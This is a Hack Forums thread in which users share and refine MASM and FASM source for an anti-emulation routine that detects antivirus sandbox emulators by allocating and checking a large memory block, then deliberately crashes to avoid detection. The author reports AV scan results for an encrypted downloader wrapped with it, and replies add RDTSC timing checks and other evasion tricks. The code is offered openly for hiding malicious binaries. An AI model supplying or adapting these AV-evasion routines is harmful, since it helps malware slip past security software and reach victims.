

Forum:[Hack Forums](#)

Thread: [Anti Emulator MASM with memory allocation, breaks every emulator](#)

Wardow - March 3, 2016, 2:34 pm

hey, here is the source if you're interested:

you can change the 154720540 value to something else, it must be enough to break the emulator, you can also change the 123 value, or make so it changes for each bytes in case this becomes filtered by emulators.

More "MASM way" version of the code by Masm4ever:

```
(Mar 4, 2016 07:07 PM)Masm4ever Wrote: \[CITE\] Code include \masm32\include\masm32rt.inc
.code
start:
mov ecx, 154720540
push ecx
invoke HeapAlloc, rv(GetProcessHeap), 0, ecx
pop ecx
.if eax
    xchg eax, edi
    push edi
    mov al, 123
    rep stosb
    push 0
    .if [edi-1] != al
        xor esp, esp
    .endif
    call GetProcessHeap
    push eax
    call HeapFree
    invoke MessageBox, 0, chr$("my code"), chr$("it's not emulated:"), MB_OK
.endif
invoke ExitProcess, 0
end start
```

Lijpee - March 3, 2016, 2:52 pm

Nice piece of code you have there Wardow, too bad people can't appreciate the effort you put in this community.

\$lick - March 3, 2016, 3:05 pm

Wow... where is my credit for helping you out on this?

Not cool man, not cool at all.

Wardow - March 3, 2016, 3:08 pm

(Mar 3, 2016 04:05 PM)Nexus™ ?? Wrote: [\[CITE\]](#) Wow... where is my credit for helping you out on

this?

Not cool man, not cool at all.
u helped for nothing noob

Hoodie+ - March 3, 2016, 3:10 pm

Fuck I can't read shit, I need to learn Assembly...
Too bad I'm lazy...

Wardow - March 3, 2016, 3:14 pm

(Mar 3, 2016 04:10 PM)Hoodie+ Wrote: [\[CITE\]](#) Fuck I can't read shit, I need to learn Assembly...
Too bad I'm lazy...
its self explanatory, once you got registers/pointers/instructions its just learning what are they, after that its low level logic.

NTTITON373 - March 3, 2016, 3:25 pm

You have a overflow on line 11 :)

Wardow - March 3, 2016, 3:26 pm

(Mar 3, 2016 04:25 PM)NTTITON373 Wrote: [\[CITE\]](#) You have a overflow on line 11 :)
i will modify, i also took a second look onto this then noticed it worked like this so i did let it, but i will modify :)
just updated the code, enjoy
i failed i'll modify again
i modified again it works now, tell me if any issues
ffs i failed again lemme fix
wooooooooooh it's fixed enjoy

SIM-1866423 - March 3, 2016, 6:03 pm

Little confused about logic .. Can you explain little bit ? (Not codes)

Wardow - March 3, 2016, 6:22 pm

(Mar 3, 2016 07:03 PM)b3mb4m Wrote: [\[CITE\]](#) Little confused about logic .. Can you explain little bit ? (Not codes)

The logic is an emulator cannot allocate that much memory (100mb+), so the goal is allocating memory check the return pointer if it failed then we are being emulated so we exit, if it succeeded its either we are being emulated and the emulator tryna be smart or we are not being emulated, so we will make another check, we gonna fill all the memory with a value then check for a byte in the memory and check if it contain the value we did set before if so we are not being emulated or the emulator is being even more smart (in that case the anti emulator will not work), and if its not matching then we are being emulated so instead of doing ExitProcess which can be used to detect anti emulation methods, we will fuck up the stack pointer then try calling some API without even pushing arguments onto the stack (which we fucked the pointer already), so obvious the program will crash hard the AV then wont be able to state if its malicious or not and just show its clean.

SIM-1866423 - March 3, 2016, 6:34 pm

(Mar 3, 2016 07:22 PM)Wardow Wrote: [\[CITE\]](#) The logic is an emulator cannot allocate that much memory (100mb+), so the goal is allocating memory check the return pointer if it failed then we are being emulated so we exit, if it succeeded its either we are being emulated and the emulator tryna be smart or we are not being emulated, so we will make another check, we gonna fill all the memory with a value then check for a byte in the memory and check if it contain the value we did set before if so we are not being emulated or the emulator is being even more smart (in that case the anti emulator will not work), and if its not matching then we are being emulated so instead of doing

ExitProcess which can be used to detect anti emulation methods, we will fuck up the stack pointer then try calling some API without even pushing arguments onto the stack (which we fucked the pointer already), so obvious the program will crash hard the AV then wont be able to state if its malicious or not and just show its clean.

Got it, thanks for explain. Appreciate, nice codes ?

Masm4ever - March 4, 2016, 6:07 pm

(Mar 3, 2016 07:22 PM)Wardow Wrote: [\[CITE\]](#) The logic is an emulator cannot allocate that much memory (100mb+), Depends on the emulator.

Quote:so the goal is allocating memory check the return pointer if it failed then we are being emulated so we exit, There are plenty of reasons why HeapAlloc could fail.

Quote:if it succeeded its either we are being emulated and the emulator tryna be smart or we are not being emulated, so we will make another check, we gonna fill all the memory with a value then check for a byte in the memory and check if it contain the value we did set before if so we are not being emulated If it doesn't contain that value, the emulator is buggy.

Quote:so instead of doing ExitProcess which can be used to detect anti emulation methods, we will fuck up the stack pointer then try calling some API without even pushing arguments onto the stack (which we fucked the pointer already), so obvious the program will crash hard the AV then wont be able to state if its malicious or not and just show its clean. The AV must be incredibly dumb to interpret an access violation as "clean" code.

Here is a shorter version of "your" code. Show me an "emulator" that produces the !=123?

Code include \masm32\include\masm32rt.inc

.code

start:

mov ecx, 154720540

push ecx

invoke HeapAlloc, rv(GetProcessHeap), 0, ecx

pop ecx

.if eax

 xchg eax, edi

 push edi

 mov al, 123

 rep stosb

 push 0

 .if [edi-1] != al

 xor esp, esp

 .endif

 call GetProcessHeap

 push eax

 call HeapFree

 invoke MessageBox, 0, chr\$("my code"), chr\$("it's not emulated:"), MB_OK

.endif

invoke ExitProcess, 0

end start

Wardow - March 4, 2016, 6:43 pm

(Mar 4, 2016 07:07 PM)Masm4ever Wrote: [\[CITE\]](#) Depends on the emulator.

There are plenty of reasons why HeapAlloc could fail.

If it doesn't contain that value, the emulator is buggy.

The AV must be incredibly dumb to interpret an access violation as "clean" code.

Here is a shorter version of "your" code. Show me an "emulator" that produces the !=123?
Code include \masm32\include\masm32rt.inc

```
.code
start:
invoke HeapAlloc, rv(GetProcessHeap), 0, 154720540
.if eax
    xor edx, edx
    .Repeat
        mov byte ptr[eax + edx], 123
        inc edx
    .Until edx>=154720540
    push eax
    push 0
    .if byte ptr[eax + edx - 1] != 123
        xor esp, esp
    .endif
    call GetProcessHeap
    push eax
    call HeapFree
    invoke MessageBox, 0, chr$("my code"), chr$("it's not emulated:"), MB_OK
.endif
invoke ExitProcess, 0
end start
```

Here is a simple example of this code sample breaking every emulators.

I made a simple downloader with needed strings encrypted, i'll provide the two source codes of the with and without anti emulator code.

Without anti emulator code:

Scan:

[\[IMG\]http://viruscheckmate.com/image/yR4O42BDBCil/full/img.png\[/IMG\]](http://viruscheckmate.com/image/yR4O42BDBCil/full/img.png)

With anti emulator code:

Scan:

[\[IMG\]http://viruscheckmate.com/image/fGRWpqqJSiV1/full/img.png\[/IMG\]](http://viruscheckmate.com/image/fGRWpqqJSiV1/full/img.png)

Without the stack breaking instruction but anti emulator code:

Scan:

[\[IMG\]http://viruscheckmate.com/image/bw8DvzfbfHZO/full/img.png\[/IMG\]](http://viruscheckmate.com/image/bw8DvzfbfHZO/full/img.png)

As i can figure out, the stack breaking instruction is being useless and even got detected by Dr.Web

into that code (has been previously uploaded to distributing websites), the emulators are giving up even before its being executed, at the time of producing that code i was thinking about another solution for trapping the emulator to crash but apparently it gives up before even executing this instructions, thanks for cleaning up this point and remaking the anti emulator concept in a more MASM way.

Armitage - March 12, 2016, 4:14 am

FASM Version :

Code ;FASM Version

format PE GUI 4.0

entry start

include 'INCLUDE\WIN32W.INC'

section ".text" code executable readable

start:

call [GetProcessHeap]

push 0938D91Ch ;i assumed is 154720540 is a decimal base value and i used hex base because it's better

push 0

push eax

call [HeapAlloc]

cmp eax, 0

je EndProg

mov edx, 0

FillJunk:

mov byte [eax+edx], 7Bh

inc edx

cmp edx, 0938D91Ch

jne FillJunk

cmp byte [eax+edx-1], 7Bh

jne FuckItUp

mov edx, 0

push eax

push 0

call [GetProcessHeap]

push eax

call [HeapFree]

mov eax, 0

;insert your code here

EndProg:

push 0

call [ExitProcess]

FuckItUp:

mov esp, 0

call [HeapAlloc]

section '.idata' import data readable writeable

library kernel,'KERNEL32.DLL'

```
import kernel,\n    GetProcessHeap,'GetProcessHeap',\n    HeapAlloc,'HeapAlloc',\n    HeapFree,'HeapFree',\n    ExitProcess,'ExitProcess'
```

Volty - March 12, 2016, 5:27 am

(Mar 12, 2016 05:14 AM)Armitage Wrote: [\[CITE\]](#) FASM Version :

Code ;FASM Version

format PE GUI 4.0

entry start

include 'INCLUDE\WIN32W.INC'

section ".text" code executable readable

start:

call [GetProcessHeap]

push 0938D91Ch ;i assumed is 154720540 is a decimal base value and i used hex base because
it's better

push 0

push eax

call [HeapAlloc]

cmp eax, 0

je EndProg

mov edx, 0

FillJunk:

mov byte [eax+edx], 7Bh

inc edx

cmp edx, 0938D91Ch

jne FillJunk

cmp byte [eax+edx-1], 7Bh

jne FuckItUp

mov edx, 0

push eax

push 0

call [GetProcessHeap]

push eax

call [HeapFree]

mov eax, 0

;insert your code here

EndProg:

push 0

call [ExitProcess]

FuckItUp:

mov esp, 0

call [HeapAlloc]

section '.idata' import data readable writeable

library kernel,'KERNEL32.DLL'

```
import kernel,\n    GetProcessHeap,'GetProcessHeap',\n    HeapAlloc,'HeapAlloc',\n    HeapFree,'HeapFree',\n    ExitProcess,'ExitProcess'
```

Thanks :) I was about to try and convert this to FASM, but you saved me a ton of time. :D

push r12 - March 24, 2016, 4:49 am

(Mar 4, 2016 07:07 PM)Masm4ever Wrote: [\[CITE\]](#) Depends on the emulator.

There are plenty of reasons why HeapAlloc could fail.

If it doesn't contain that value, the emulator is buggy.

The AV must be incredibly dumb to interpret an access violation as "clean" code.

Here is a shorter version of "your" code. Show me an "emulator" that produces the !=123?

Code include \masm32\include\masm32rt.inc

.code

start:

mov ecx, 154720540

push ecx

invoke HeapAlloc, rv(GetProcessHeap), 0, ecx

pop ecx

.if eax

 xchg eax, edi

 push edi

 mov al, 123

 rep stosb

 push 0

 .if [edi-1] != al

 xor esp, esp

 .endif

 call GetProcessHeap

 push eax

 call HeapFree

 invoke MessageBox, 0, chr\$("my code"), chr\$("it's not emulated:"), MB_OK

.endif

invoke ExitProcess, 0

end start

It's 2016 and OP thinks junk calls do anything for creating an undetected binary.

Flagging systems exist, it's 2016. ?

wong - May 1, 2016, 2:51 am

Great man, helped me much, thank you

?Dead - May 10, 2016, 12:20 am

This method is similar to VirtualAllocExNumA AV bypass but it should work on every Windows

Wardow - May 10, 2016, 1:11 am

(May 10, 2016 12:20 AM)TheL0rd Wrote: [\[CITE\]](#) This method is similar to VirtualAllocExNumA AV bypass but it should work on every Windows

VirtualAllocExNumA is not available on all systems counting on a range from Windows XP to Windows 10, this is likely to decrease execution rate and not a reliable method to base on, I'm sharing this, but there is also regular methods that will always work such as complex anti-emulator loops, they are so easy to make and always works, but obviously delays execution from a bit.

?Dead - May 10, 2016, 1:19 am

Indeed but there is much shorten code which is unsaturated.

Opcode RDTSC https://en.wikipedia.org/wiki/Time_Stamp_Counter

This opcode may have several variants so CPUID is not bad idea

Just in one proc place RDTSC twice and sub 2 values. If result is higher than ~100, code is emulated.

It may be used inside your code

pseudo:

```
RDTSC
MOV t0,EAX
RDTSC
MOV t1, EAX
SUB t1,t0
CMP EAX, 100
JG @DETECTED
```

Emulation have own abnormal features. Eg. you can obtain handle to kernel process from OpenProcess without privileges etc.

Wardow - May 10, 2016, 1:24 am

(May 10, 2016 01:19 AM)TheL0rd Wrote: [\[CITE\]](#) Indeed but there is much shorten code which is unsaturated.

Opcode RDTSC https://en.wikipedia.org/wiki/Time_Stamp_Counter

This opcode may have several variants so CPUID is not bad idea

Just in one proc place RDTSC twice and sub 2 values. If result is higher than ~100, code is emulated.

It may be used inside your code

pseudo:

```
RDTSC
MOV t0,EAX
RDTSC
MOV t1, EAX
SUB t1,t0
CMP EAX, 100
JG @DETECTED
```

Emulation have own abnormal features. Eg. you can obtain handle to kernel process from OpenProcess without privileges etc.

Such bugs in emulators are very likely to be fixed easily, here is the Eset's reply about that emulator piece of code:

Spoiler [\(Click to View\)](#)

I prefer limitations than exploits of bugs :)

?Dead - May 10, 2016, 1:40 am

Well, that only confirming that AVs are made by shitcoders

Wardow - May 10, 2016, 12:58 pm

(May 10, 2016 01:40 AM)TheL0rd Wrote: [\[CITE\]](#) Well, that only confirming that AVs are made by shitcoders

We both know that since a while ?

ng-Coder - May 11, 2016, 3:07 am

(May 10, 2016 12:58 PM)Wardow Wrote: [\[CITE\]](#) We both know that since a while ?

Good of you Wardow, nice share.

This bypass AV's emulation at the moment doesn't mean comodo, kaspersky or eset coders are shit.

trust me, few good AV vendors are having very smart coders but the thing is no AV/code can perform magic.

they'll continue updating their modules and DB while you also continue updating your code.

Wardow - May 11, 2016, 2:17 pm

(May 11, 2016 03:07 AM)ng-Coder Wrote: [\[CITE\]](#) Good of you Wardow, nice share.

This bypass AV's emulation at the moment doesn't mean comodo, kaspersky or eset coders are shit.

trust me, few good AV vendors are having very smart coders but the thing is no AV/code can perform magic.

they'll continue updating their modules and DB while you also continue updating your code.

There is still pretty easy way to detect such methods that I posted here, they clearly announced it's a limitation.

G0d1k3 - May 12, 2016, 1:29 pm

thanks for share :) - ill try to implement for some of my source codes, ill come back with result :)

Hoody - June 17, 2016, 11:12 pm

So essentially... you malloc out 147 Mb of ram, and since the AV vm isnt going to complete the request it will stop the virtualization? Is that the theory here? If so its nothing all that new. Also, creating tcp sockets with fake urls is a good method. Havent checked if it works in a while, but my guess is yes?

EDIT: Also, youll want to use 8 (HEAP_ZERO_MEMORY) as the dwFlag for HeapAlloc. If you dont there could already be a 123 byte in the allocation and it would stop early, possibly allowing the antivirus virtual machine to execute the payload

Nitai - July 9, 2016, 9:28 am

The idea is pretty clever, however AVs is capable detecting anti emulation tricks using AI. but you still can break them :)

PELock - *September 8, 2016, 4:17 pm*

I suggest SSE2 instructions :) or hell even AVX at the start. Btw RDTSC will fail on multicore CPUs (it can return false results when used to measure the execution time), use QueryPerformanceCounter and QueryPerformanceFrequency.

sepluv - *June 10, 2017, 7:06 am*

This seems pretty interesting. Definitely going to test it out. What emulators have you tested it with so far?